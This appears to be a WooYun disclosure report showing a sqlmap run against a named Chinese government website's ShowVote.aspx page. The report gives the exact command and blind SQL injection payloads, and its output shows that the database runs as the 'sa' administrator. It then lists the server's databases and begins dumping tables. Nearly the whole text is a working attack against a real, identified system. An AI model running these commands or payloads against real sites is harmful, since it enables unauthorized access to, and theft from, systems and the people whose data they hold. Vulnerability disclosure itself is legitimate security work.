WooYun.org

http://www.hblsj.gov.cn/ShowVote.aspx?VoteID=7

python sqlmap.py -u "http://www.hblsj.gov.cn/ShowVote.aspx?VoteID=7" --is-dba --dbs --current-db --current-user --threads 10 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: VoteID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: VoteID=7 AND 9678=9678
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: VoteID=-5069 OR 6576=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user:    'sa'
current database:    'hblsj'
current user is DBA:    True
available databases [10]:
[*] hblsj
[*] jdgl
[*] jdgl1
[*] lsj
[*] master
[*] model
[*] msdb
[*] temp
[*] tempdb
[*] ycjc
[23:03:14] [INFO] fetching tables for database: hblsj
[23:03:14] [INFO] fetching number of tables for database 'hblsj'
[23:03:14] [INFO] retrieved: 37
[23:05:45] [INFO] retrieved: dbo.D99_CMD   
不全列出来了